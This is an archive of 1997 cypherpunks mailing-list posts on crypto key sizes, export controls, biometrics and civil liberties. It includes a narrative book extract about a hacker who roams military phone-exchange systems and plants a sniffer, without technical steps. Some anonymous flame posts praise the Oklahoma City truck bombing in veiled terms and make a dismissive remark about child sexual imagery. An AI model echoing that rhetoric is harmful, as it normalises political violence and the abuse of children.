To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Comparing Cryptographic Key Sizes II
In-Reply-To: <199706242233.XAA00222@server.test.net>
Message-ID: <v03007829afd64d414288@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 23:33 +0100 6/24/97, Adam Back wrote:
>I don't think we can explain it any more technically and expect it to
>be useful to a journalist.

Um, some of us journalists have *gasp* taken computer science classes,
programmed in machine code, crafted compression routines, written our own
Unix shells, etc.

Now, I don't want to start a "who's the geekiest geek" contest, since y'all
will win hands-down -- but I want to point out that while we may not be
crypto-whizzes, not all of us are entirely clueless either.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@iq.org
Date: Wed, 25 Jun 1997 10:27:56 +0800
To: cypherpunks@toad.com
Subject: Underground extract: System X
Message-ID: <19970625004604.1793.qmail@iq.org>
MIME-Version: 1.0
Content-Type: text/plain



Anyone read this book? Apparently the first in-depth investigation
into the international computer underground to come out of the
Southern-Hemisphere - or so I'm told ;)  - J.A

Extracts from Underground - The true nature of System X

  Extracted from Chapter 10 - "Anthrax - The Outsider"
  
   Note: System X's name has been changed for legal reasons.
   
   Sometimes the time just slipped away, hacking all night. When the first hint
   of dawn snuck up on him, he was invariably in the middle of some exciting
   journey. But duty was duty, and it had to be done. So Anthrax pressed control
   S to freeze his screen, unfurled the prayer mat with its built-in compass,
   faced Mecca, knelt down and did two sets of prayers before sunrise. Ten
   minutes later he rolled the prayer mat up, slid back into his chair, typed
   control Q to release the pause on his computer and picked up where he left
   off.
   
   This company's computer system seemed to confirm what he had begun to
   suspect. System X was the first stage of a project, the rest of which was
   under development. He found a number of tables and reports in System X's
   files. The reports carried headers like 'Traffic Analysis', 'calls in' and
   'calls out', 'failure rate'. It all began to make sense to Anthrax.
   
   System X called up each of the military telephone exchanges in that list. It
   logged in using the computer-generated name and password. Once inside, a
   program in System X polled the exchange for important statistics, such as the
   number of calls coming in and out of the base. This information was then
   stored on System X. Whenever someone wanted a report on something, for
   example, the military sites with the most incoming calls over the past 24
   hours, he or she would simply ask System X to compile the information. All of
   this was done automatically.
   
   Anthrax had read some email suggesting that changes to an exchange, such as
   adding new telephone lines on the base, had been handled manually, but this
   job was soon to be done automatically by System X. It made sense. The
   maintenance time spent by humans would be cut dramatically.
   
   A machine which gathers statistics and services phone exchanges remotely
   doesn't sound very sexy on the face of it, until you begin to consider what
   you could do with something like that. You could sell it to a foreign power
   interested in the level of activity at a certain base at a particular time.
   And that is just the beginning.
   
   You could tap any unencrypted line going in or out of any of the 100 or so
   exchanges and listen in to sensitive military discussions. Just a few
   commands makes you a fly on the wall of a general's conversation to the head
   of a base in the Philippines. Anti-government rebels in that country might
   pay a pretty penny for getting intelligence on the US forces.
   
   All of those options paled next to the most striking power wielded by a
   hacker who had unlimited access to System X and the 100 or so telephone
   exchanges. He could take down that US military voice communications system
   almost overnight, and he could do it automatically. The potential for havoc
   creation was breathtaking. It would be a small matter for a skilled
   programmer to alter the automated program used by System X. Instead of using
   its dozen or more modems to dial all the exchanges overnight and poll them
   for statistics, System X could be instructed to call them overnight and
   reprogram the exchanges.
   
   				      ---

   No-one would be able to reach one another. An important part of the US
   military machine would be in utter disarray. Now, what if all this happened
   in the first few days of a war? People trying to contact each other with
   vital information wouldn't be able to use the telephone exchanges
   reprogrammed by System X.
   
   THAT was power.
   
   It wasn't like Anthrax screaming at his father until his voice turned to a
   whisper, all for nothing. He could make people sit up and take notice with
   this sort of power.
   
   Hacking a system gave him a sense of control. Getting root on a system always
   gave him an adrenalin rush for just that reason. It meant the system was his,
   he could do whatever he wanted, he could run whatever processes or programs
   he desired, he could remove other users he didn't want using his system. He
   thought, I own the system. The word 'own' anchored the phrase which circled
   through his thoughts again and again when he successfully hacked a system.
   
   The sense of ownership was almost passionate, rippled with streaks of
   obsession and jealousy. At any given moment, Anthrax had a list of systems he
   owned and that had captured his interest for that moment. Anthrax hated
   seeing a system administrator logging onto one of those systems. It was an
   invasion. It was as though Anthrax had just got this woman he had been after
   for some time alone in a room with the door closed. Then, just as he was
   getting to know her, this other guy had barged in, sat down on the couch and
   started talking to her.
   
   It was never enough to look at a system from a distance and know he could
   hack it if he wanted to. Anthrax had to actually hack the system. He had to
   own it. He needed to see what was inside the system, to know exactly what it
   was he owned.
   
   The worst thing admins could do was to fiddle with system security. That made
   Anthrax burn with anger. If Anthrax was on-line, silently observing the
   adminsÕ activities, he would feel a sudden urge to log them off. He wanted to
   punish them. Wanted them to know he was into their system. And yet, at the
   same time, he didnÕt want them to know. Logging them off would draw attention
   to himself, but the two desires pulled at him from opposite directions. What
   Anthrax really wanted was for the admins to know he controlled their system,
   but for them not to be able to do anything about it. He wanted them to be
   helpless.
   
   Anthrax decided to keep undercover. But he contemplated the power of having
   System X's list of telephone exchange dial-ups and their username - password
   combinations. Normally, it would take days for a single hacker with his lone
   modem to have much impact on the US military's communications network. Sure,
   he could take down a few exchanges before the military wised up and started
   protecting themselves. It was like hacking a military computer. You could
   take out a machine here, a system there. But the essence of the power of
   System X was being able to use its own resources to orchestrate widespread
   pandemonium quickly and quietly.
   
   Anthrax defines power as the potential for real world impact. At that moment
   of discovery and realisation, the real world impact of hacking System X
   looked good. The telecommunications company computer seemed like a good place
   to hang up a sniffer, so he plugged one into the machine and decided to
   return in a little while. Then he logged out and went to bed.
   
   When he revisited the sniffer a day or so later, Anthrax received a rude
   shock. Scrolling through the sniffer file, he did a double take on one of the
   entries. Someone had logged into the company's system using his special login
   patch password.
   
   He tried to stay calm. He thought hard. When was the last time he had logged
   into the system using that special password? Could his sniffer have logged
   himself on an earlier hacking session? It did happen occasionally. Hackers
   sometimes gave themselves quite a fright. In the seamless days and nights of
   hacking dozens of systems, it was easy to forget the last time you logged
   into a particular system using the special password. The more he thought, the
   more he was absolutely sure. He hadn't logged into the system again.
   
   Which left the obvious question. Who had?
     ________________________________________________________________________
     [This extract may be reposted non-commercially and without charge only]

   Underground; Tales of Hacking, Madness and Obsession on the Electronic
   Frontier, by Suelette Dreyfus; published by Mandarin (Random House
   Australia); (P) 475 pages with bib. http://www.underground-book.com/ or
   http://underground.org/book





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 14:06:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Grand Compromise is Coming
Message-ID: <199706250601.CAA01869@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



>By the way, I have no heard no good counters to my point that the "use of
>crypto in furtherance of a crime" is quite analogous to "freedom of
>religion shall not be abridged, but saying a heathen prayer in furtherance
>of a crime shall subject the heathen to an additional five years of
>imprisonment."

Two differences:

Saying a prayer, heathen or not, does not make the commision of the crime
easier.  Using a gun, or using crypto, does.

Saying a prayer can be done in complete privacy and silence, making it
impossible to tell whether someone is doing it.  Using crypto generally
involves some outward evidence.  It is not all in your head.

If some form of prayer were invented which did not have these properties,
then it might be forbidden.  The Marinsha prayer, shouted with the
appropriate intensity, paralyzes the hearer for several minutes.  Robberies
have become common using this method.  Making the Marinsha prayer
illegal in all circumstances is too broad, but criminalizing it for use in the
commision of a crime would be a plausible response.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 14:16:28 +0800
To: cypherpunks@toad.com
Subject: It ain't over till the fatman burns...
Message-ID: <199706250602.CAA02284@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> 
> > I still am concerned about kids being subject to material that is
> > inappropriate for their age group (what ever that may be).  So how do I
> > insure that my son/daugher does not get their hands on _THIS_ material?
> 
> Supervision, plain and simple. However, if you honestly believe your
> children are going to be harmed in some lasting way by any images they
> might find there is clearly something wrong with the way you have brought
> them up

  Good, strong beatings will also help to deter them from doing
things that they find interesting or pleasurable. This will help
to reinforce the concept that things which feel good lead to
pain and punishment.
  Pictures of people burning in hell can be put in prominent places
in the home, with constant verbal reminders that God will punish
bad people who have different values than you.

  It is particularly important to impress on your daughter that
she must keep her head covered at all times and never look a
strange man in the eye or allow her ankles to show. Remind her
that, as much as you love her, you will still be forced to
join in stoning her to death if she choses to stray outside
acceptable social standards.
  Impress upon your son that if he wants to have sex with 
teenage girls under the age of 18 he must move to a foreign 
country where he can receive millions of dollars in foreign
aide while he does so. Explain that if he has sex with his
teenage girlfriend in this country that he is an evil person
and will be convicted as a sex offender (which will delay
their wedding plans) and be marked for life as a child 
molester.

  Most important of all, carefully explain to your children
that if their gaze ever happens to fall upon material which
you find unacceptable that they will end up being murdering,
drug-dealing pornographers because they are immoral dupes
with no character or self-will.
  Use Paul and myself as examples of where libertarian thinking
leads, in the end. After all, he is writing from DEMON.co.uk and
I am writing from LUCIFER@dhp.com.

  If you are concerned about what your children may encounter
on the internet that will expose their lack of character and
morals, there is a program available that is even better than
Cybersitter. It was sent to the list by fuck@yourself.up a few
months ago.
  Check the archives for it or ask the cypherpunks list's
on-call librarian, Tim C. May, how to find it.

FlameMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 14:52:10 +0800
To: cypherpunks@toad.com
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
Message-ID: <199706250637.CAA15190@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson wrote:
> We've got a relatively decent style of government here. 

  Sure, as long as you don't step out of line, like at Kent State
or Waco, or at the Democratic convention in Chicago.
  Any style of government is "relatively decent" if you don't
rock the boat. Buy a fucking clue...

  Putting a "Fuck Clinton" sign in your front yard in America
probably won't bring significantly different results than if
one had put a "Stalin Sucks" sign up during his reign. I also
doubt if our body count is significantly different than that
of Stalin, either.

  If we all just keep our mouths shut as our rights and freedoms
are stripped from us one by one, then we will have a "relatively
decent" journey into oppression.

ClueMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Wed, 25 Jun 1997 20:02:33 +0800
To: nicol@highway1.com.au
Subject: Re: Flag Burning...
Message-ID: <199706251146.EAA14923@f48.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>>You Crazy Americans . . . I dont think anyone else in the world 
>>would 
>>give a fuck someone burnt their countries flag, certainly not in 
>>Australia.  What is it about your country?

>>My friend is a New Zealander.  When she was in school for a short 
>>while in America, she was beaten up for not reciting the "Pledge of 
>>Allegiance" in class everymorning.

>>Pete Nicol
>>Global Media Magnet
>>nicol@iap.net.au

====================================================================

 Although I agree that the U.S flag should not be burned (and yes I am 
also a veteran having served 8 years in the U.S Armed Forces), I can see 
other floks points in allowing the flag to be burned. I will never 
support it, yet since I served to keep the ability to choose a freedom 
that we enjoy, I do not oppose that sentiment. As to the Aussie that 
asked what the "fuck" we Americans give about whether or not our flag is 
burnt obviously does not understand how deep the grain of patriotism 
runs in American blood. It is something anomolous to riding a Harley. If 
we have to explain it to you, you wouldn't understand. In my mind it 
shows how little value the Aussies (or at least this particular one) 
place on their solidarity as a nation and belief in their own country.  
I place a HIGH value on my country and countrymen. (women too :-) )  
That is why I get so upset when I see the degradation that is eating 
this country alive. All the values that made this country as powerful 
and great as it is are slowly being rotted away by some sort of 
malignant cancer that I can not fathom. I understand that The Cleavers 
are a concept that can never truly be lived up to, yet even if we came 
as close as Family Ties, I'd be happy! Some folks say that this is a 
symptom of too much freedom. I am inclined to agree to a certain extent, 
we Americans seem to have lost the ability to control ourselves and 
severely overindulge our whims sometimes. Yet, that is something that we 
have fought long and hard for, losing many a brother, father, sister, 
mother, uncle, aunt, and so on. Let me ask you this? Why are there so 
many individuals from other countries killing themselves to come live 
here, like the Cambodians, Vietnamese, Russians, and such? I'll tell you 
why. Because this country has potential, and strength. What strentgh? 
The strength of it's countrymen. The strength of ideals that are worth 
living and fighting for. Privacy is one of those ideals. That is why 
this channel exists! To unite us together, to try to stop the loss of 
one of the central themes to America. The ability to be private. To 
maintain a sense of individualism not found in many, many parts of the 
world. We stand together for the right to be human! For the right to be 
individuals, not clones! I for one, shall never be a clone. Neither 
government nor fellow human shall force me to bend my knee in deference, 
when that deference has not been earned. The government is trying to do 
that right now. That is why they are trying to take our privacy, if the 
know all that goes on, then control is easier. Whether through fear or 
through willingness, they do not care. They only want control. And we 
can not, should not, and many will not allow that to happen! I have seen 
what happens in countries where total control over their people has been 
achieved. The results are not pretty.  Listen, Look, Learn, Aussie! You 
just might understand!!

David Downey
Case@EarthCorp.com
digital_matrix@hotmail.com
http://www.earthcorp.com/case
I am a human first, an American 2nd, and free most of all!



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 25 Jun 1997 07:12:20 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: Comparing Cryptographic Key Sizes
In-Reply-To: <Pine.SOL.3.91.970625072559.18831A-100000@hardy.ocs.mq.edu.au>
Message-ID: <Pine.LNX.3.93.970625045314.117C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 25 Jun 1997, Jason William RENNIE wrote:

My first suggestion is to get hold of "Applied Cryptography" by Bruse
Schneier, my second suggestion is to find out if your uni runs causes in
infomation securaty (sounds something like that) and get into it via an
elective.

[...]

> Well i guess i'll look stupid for asking but someone has to but what is 
> the diffrence ??

A symtiric cryptosystem is one where the encrption key is the same as the
decryption key.  A nonsytric cryptosystem is one where the encryption key
is diffrent but realted to the decrytion key.

Non-symtric keys are normal weeker because there has to be that realtion
between the keys.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 21:19:29 +0800
To: cypherpunks@toad.com
Subject: One Ryder Truck--One Vote
Message-ID: <199706251253.FAA24434@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Greg Broiles wrote:
> Many of the exhortations to the
> public consist mostly of "Hey! Get involved! Vote!", even where this
> passive "voting" stuff created the very problems which led to the
> exhortations.

  Voting is the new Catch-22/Damned if you do, damned if you don't,
etc, etc. It's time for a new non-candidate that is a cross between
Pat Paulsen ("If elected, I will not serve.") and Abby Hoffmean
("Steal This Book.").
  My inclination is for a candidate named "Fuck You!", but I'm sure
someone else can come up with a more creative candidate. 
(Q: "If elected, what will you do for me?" / A: "Fuck You!")

> Sure, let's write memes. But let's write memes that encourage people to
> solve their own problems and avoid the use of unnecessary force.

  Of course, in the real world even the use of the minimum force
necessary will probably result in damage to windows in buildings
adjoining the Congressional and Senate buildings.

Me Again
"Hard Weapons, Soft Targets, No Compromise."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 21:18:18 +0800
To: cypherpunks@toad.com
Subject: The value of free speech...
Message-ID: <199706251254.FAA24496@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



> "Philip A. Mongelluzzo" <phimon@ix.netcom.com> writes:
> 
> > How do we deal with child pornography and free speech in such a way
> > as to allow both to exist and insure our children are not exposed to
> > pornographic material until they are at a maturity level where they
> > can deal with it?
> 
> > A battle that must be won without killing the enemy to
> > insure continued free speech.  Quite a challenge I think.  Now, do
> > you have any idea how to do that?

  When I was twelve years old a man stepped out of the proverbial
dark alley in my small hometown and offered me twenty dollars to
give him a blow-job. I said no.
  In retrospect, if he had offered me a thousand dollars, I might
have recognized the value of free speech at a much earlier age
than I eventually did.

  Also, my parents used to let me go to out-of-town hockey games
with other kids and Father Flanigan, admonishing me, "Don't let
him stick his hand in your pants." I didn't.
  Today's world may seem more dangerous, with a greater chance
of children's contact with unknown entities/weirdos, but I find
it hard to believe that there is greater saftey to be had by
keeping children ignorant of information that goes beyond this
or that boundary of morality/integrity/world-view/lifestyle.
  If your children see a picture of a young child with a dick
in his or her mouth and don't see anything wrong with it, then
I don't think the problem is with the picture.

TruthMonger
TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 22:01:25 +0800
To: cypherpunks@toad.com
Subject: Top ATM maker signs deal with eye-scanning technology firm
Message-ID: <199706251336.GAA26072@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




http://www.techserver.com/newsroom/ntn/info/062497/info25_8064.html
      
   TRENTON, N.J. (June 24, 1997 9:38 p.m. EDT) -- NCR Corp., the world's
   top maker of automated teller machines, plans to start offering
   machines that identify the user by scanning the eye.
   
   NCR said Tuesday it teamed with Sensar Inc. to offer a system that
   could eventually replace plastic cards and memorized numbers with a
   more secure system -- cameras that confirm the user's identity by the
   unique patterns in the iris, the colored ring in the eye.
   
   Besides improving security, executives at Dayton, Ohio-based NCR
   believe the system will make it more practical to use ATMs for selling
   airline tickets, insurance and investments.

...
   
   Under the deal, NCR will distribute and service the system for banks
   and other financial institutions around the world, except in Japan,
   where Sensar has a $42 million contract to develop the technology for
   ATMs.
   
   "We've still got a few kinks we're working out," said Kevin B.
   McQuade, vice president for strategic business development at
   Moorestown-based Sensar, adding that the company expects to begin mass
   production in a year.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Wed, 25 Jun 1997 19:30:28 +0800
To: cypherpunks@toad.com
Subject: Shell cancels all but $25 pre-paid cards
Message-ID: <Pine.GSO.3.95.970625065731.890A-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain



About 6 months ago, Shell introduced pre-paid cards in $25, 50 and 100
denominations which could be used to ~anonymously pay for gas at the pump.
Suddenly, Shell has withdrawn all but the nearly-pointless $25 cards.

Security problems?

Complaints from the Freehdom usurpers?

Inquiring minds want to know.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 25 Jun 1997 20:19:39 +0800
To: Mac Norton <mnorton@cavern.uark.edu>
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <Pine.SOL.3.96.970624204553.3935D-100000@cavern.uark.edu>
Message-ID: <199706251207.HAA22126@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SOL.3.96.970624204553.3935D-100000@cavern.uark.edu>, on 06/24/97 
   at 08:56 PM, Mac Norton <mnorton@cavern.uark.edu> said:

>On Tue, 24 Jun 1997, Tim May wrote:

>> (By the way, I have no heard no good counters to my point that the "use of
>> crypto in furtherance of a crime" is quite analogous to "freedom of
>> religion shall not be abridged, but saying a heathen prayer in furtherance
>> of a crime shall subject the heathen to an additional five years of
>> imprisonment." This is why I think the "use of a special language or
>> whispering in furtherance of a crime" provisions of SAFE will probably be
>> struck down by the Supremes, unless they, too, have forgotten what the
>> Constitution is all about.)

>OK, Tim, I'll try:
>The use of communication in furtherance of a crime shall add five years .
>. .etc.

>The use of any device to enhance the speed of communication in
>furtherance of a crime shall . . . etc.

>The use of any device to disguise a voice in furtherance of  . . . etc.

>The use of any cryptographic means of communication in furtherance . . .

>Now, if two and three above are constitutional, why aren't one and four?

Well in my IMNSHO none of the above are constutional.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 25 Jun 1997 20:16:46 +0800
To: cypherpunks@toad.com
Subject: Crypto News
Message-ID: <1.5.4.32.19970625111759.006a839c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



     25 June 1997:

     A Canadian company claims it has a unique product that can 
     spur acceptance of biometric encryption. 

     The Touchstone device, from Mytec Technologies Inc. of
     Toronto, includes a patented technology called Bioscrypt-a
     coded key or personal identification number that can be
     decoded only when the user's finger slides across a scanner. 

     Mytec says it adds a layer of security to the fingerprint
     scanning methods typical at other vendors. 

     "What we do is slide a finger across a scanner, which takes
     the information in the finger pattern and allows it to
     descramble the encrypted key," said George Tomko,
     chairman and co-founder of Mytec. 

     The finger itself becomes essentially an encryption key and
     can be used in place of a personal identification number at a
     keyboard, automated teller machine, telephone, or to scramble
     data over the Internet. 

     "With this kind of technology, everyone's finger is a potential
     encryption key," said Mr. Tomko. 

----------

     NetDox, Inc. today announced that the U.S. Department of
     Commerce has granted export approval for NetDox
     ePackage, a secure Internet document delivery service. 
     This makes NetDox the first U.S. company authorized to
     offer businesses a global digital delivery service protected by
     128-bit encryption over the Internet without providing clear
     text access to key recovery agents. 

----------

     The Federal Deposit Insurance Corp. decided Tuesday not to
     regulate stored-value cards. 

----------

     Two long reports on Netscape/Verisign's and Microsoft's approval 
     for 128-bit products export.

----------

Above reports in full:

     http://jya.com/cn062597.txt

----------

For those who've not seen it we offer the bill introduced on
June 19 by Representative Markey, "The "Communications 
Privacy and Consumer Empowerment Act":

     http://jya.com/hr1964.txt

It has a provision for data security and pre-emption of
government regulation of domestic encryption.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Wed, 25 Jun 1997 05:49:58 +0800
To: cypherpunks@toad.com
Subject: Re: Comparing Cryptographic Key Sizes
In-Reply-To: <199706241449.PAA00198@server.test.net>
Message-ID: <Pine.SOL.3.91.970625072559.18831A-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 24 Jun 1997, Adam Back wrote:

> (Bearing in mind the reader in most cases hasn't grasped the
> difference between public key crypto and symmetric key, and is
> comparing 1024 bit keys to 56 bit keys and probably thinks that it is
> 1024/56 times harder.)

Well i guess i'll look stupid for asking but someone has to but what is 
the diffrence ?? I dont know either, i'm on this list to learn things 
like this. I'm still very new to all of this. I was aware that they 
weren't 1024/56 times harder though.

jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 23:01:14 +0800
To: cypherpunks@toad.com
Subject: Re: Flag Burning...
Message-ID: <199706251442.HAA02694@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




"David Downey" <digital_matrix@hotmail.com> wrote:

> Although I agree that the U.S flag should not be burned (and yes I am 
>also a veteran having served 8 years in the U.S Armed Forces), I can see 
>other floks points in allowing the flag to be burned. I will never 
>support it, yet since I served to keep the ability to choose a freedom 
>that we enjoy, I do not oppose that sentiment.

     "If we don't believe in freedom of expression 
      for people we despise, we don't believe in 
      it at all." - Noam Chomsky

     "We are willing enough to praise freedom when she 
      is safely tucked away in the past and cannot be 
      a nuisance. In the present, amidst dangers whose 
      outcome we cannot foresee, we get nervous about 
      her, and admit censorship." - E. M. Forster

     "I disapprove of what you say, but I will defend 
      to the death your right to say it." - Voltaire


The question that needs to be asked is, what does that flag represent that 
is being burned?  Does it represent the constitutional republic and respect 
for individual liberty that America was founded upon?  Or does it represent 
the socialist democracy and the arbitrary herd mentality view of "freedom" 
into which America has devolved?

If the latter, then pass me the gasoline and the matches.

An American






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Wed, 25 Jun 1997 04:22:28 +0800
To: eay@cryptsoft.com
Subject: Re: spook pressure on crypto exports (was Re: cypherpunks coding challenge)
Message-ID: <86718300701373@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain



Death rays from Mars made Adam Back <aba@dcs.ex.ac.uk> write:
 
>Bill Stewart <stewarts@ix.netcom.com> writes:
>>(Though actually SSLeay has been very useful to a lot of the
>>world's free cryptography, and has prompted the US spooks
>>to pressure the Australian spooks into restricting crypto exports,
>>just as they've pressured the NZs into restricting them for
>>Peter Gutman, and have been trying to work on the Irish...)
 
>Could you elaborate on these.  I caught Peter Gutmann's comments on the 
>hassles a company he did some work for were having with the NZ spooks.  (The 
>spooks intercepted their mailed disk, plus some other cloak and dagger 
>spookish stuff).  
 
Nothing was intercepted.  They (the GCSB, NZ subsidiary of the NSA) came up 
with some phony story about NZ customs intercepting a shipment of 
military-grade encryption (or something similar) which they fed to the 
Australian spooks (DSD).  NZ Customs knew nothing of this, and the DSD were 
apparently also considerably surprised by it.  As far as I can tell it was a 
very amateurish attempt to intimidate one of the companies involved 
(frighteningly amateurish in fact - a single phonecall was enough to confirm 
that they'd invented the whole incident themselves, the only real effect it 
had was to get them a front-page story in the National Business Review and 
(presumably) piss off the DSD for sending them on a wild goose chase and 
risking media exposure).
 
>Is this still going on, was it ever resolved?  Can the next version of 
>cryptlib be exported legally?  Or are we relying on Peters bravery?
 
It can be legally exported.  Although the people pulling the strings are the 
GCSB, the group enforcing it is the Ministry of Foreign Affairs and Trade 
(MFAT)'s export control group, who are idiots (I can elaborate on this in 
great detail at some point, preferably over a beer).  I have several written 
statements from them that I can freely export it electronically (along with 
all sorts of bogosities such as a letter signed by the minister in which the 
first sentence of the second paragraph says exactly the opposite of the last 
sentence in the paragraph, and other, similar gems).  At one point I was 
firing off one letter after another to them just to see how silly they would 
get, but it got boring after awhile.  I'll put these letters online at some 
point for people to have a laugh at.
 
I should also clarify a point about the online writeup of my experiences, 
which imply that the NSA was active in directing the GCSB over export 
controls.  I'd had some feedback from a high-level US spook source that this 
wasn't quite the case, but the source has some rather unusual opinions on 
spooks and their activities (something along the lines of "Civilization would 
collapse tomorrow if it wasn't for the fine efforts of the CIA and NSA") which 
made me somewhat suspicious about the accuracy of the information.  Anyway, 
what this source said (and this bit I can believe) was that NZ was completely 
out of its depth with this (which was obvious from the way it was handled) and 
was terrified of offending the US.  According to the source, the NSA was 
exerting a *moderating* influence on the whole thing, and that any progress 
made was because the NSA told the GCSB to back off.  This would indicate an 
interesting case of the NSA exerting very strong indirect influence on 
determining crypto policy.  The GCSB knew the NSA didn't want crypto being 
distributed, and when they heard of the export they went into overdrive to 
show the NSA what good boys they could be and how keen they were to help the 
US by enforcing US policy for NZ crypto.
 
This interpretation is believable, NZ is very much a junior member of the 
UKUSA alliance and really doesn't want to do anything which might offend the 
other partners.  They knew the US didn't want crypto being made available, so 
they went out of their way to try to show the NSA that they could be trusted 
to do their bit in restricting crypto (I'm certain that something as 
amateurish as the NZ Customs story didn't come from the NSA, even the DSD 
seemed unaware of it).
                          
This means that it doesn't actually require any direct intervention from the 
USG to control crypto policy, the mere knowledge that the NSA doesn't like 
something is enough to make the local spooks (who, in NZ's case, rely on the 
NSA for much of their hardware and training) do whatever they think will keep
the NSA happy.  It's perfect for the NSA I guess, because they get complete 
deniability (Just yell "Will noone rid me of this troublesome crypto" and sit 
back and wait).

Peter.

BTW, what's happened to taz.nceye.net?  The cypherpunks mail->news doesn't 
seem to have been updated for more than a week.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 25 Jun 1997 14:52:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Comparing Cryptographic Key Sizes II
Message-ID: <199706250645.IAA16548@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>I can assure you
>that in moving from a 1024 bit key to a 4096 bit key, the attackers
>job is well in excess of 50x harder.  Greatly in excess of a trillion
>trillion times harder.

First part true, second part false.  See Schneier, p.160.  Extrapolating
using GNFS factoring indicates ratio of 1E21.  If SNFS factoring becomes
possible it is much worse, ratio less than one million.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 21:24:14 +0800
To: cypherpunks@toad.com
Subject: Re: The Grand Compromise is Coming
Message-ID: <199706251259.IAA19793@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> And, as many of us have noted, what is there to compromise about? If one
> has religious freedom, for example, and a series of laws are proposed or
> passed to limit this religious freedom in some way, what kind of compromise
> is even remotely acceptable?

  I would wager that the number of drug dealers who own Bibles is much
greater than the number who own strong crypto. Why is there no proposed
legislation regarding use of the Bible in commission of a crime?
 
> (By the way, I have no heard no good counters to my point that the "use of
> crypto in furtherance of a crime" is quite analogous to "freedom of
> religion shall not be abridged, but saying a heathen prayer in furtherance
> of a crime shall subject the heathen to an additional five years of
> imprisonment." This is why I think the "use of a special language or
> whispering in furtherance of a crime" provisions of SAFE will probably be
> struck down by the Supremes, unless they, too, have forgotten what the
> Constitution is all about.)

  Ebonics has to be a natural candidate for pleading this to the
Supremes. Ebonics means that a black arrested by a white undercover
officer would get an extra five years over the sentence of a black
arrested by a 'brother'.
  How about five years for calling a drug "Mary Jane" when writing
it down, four years for "marijuana", three and a half years for
"marihuana" and six months for "Cannibus Sativa." Calling it
simply "Killer shit, man!" would be acceptable.

  Double jeapordy is a fact of life these days with the plethora of
"commission of a crime during the commission of a crime" laws and
the "conspiracy to commit the crime which was committed" laws, as
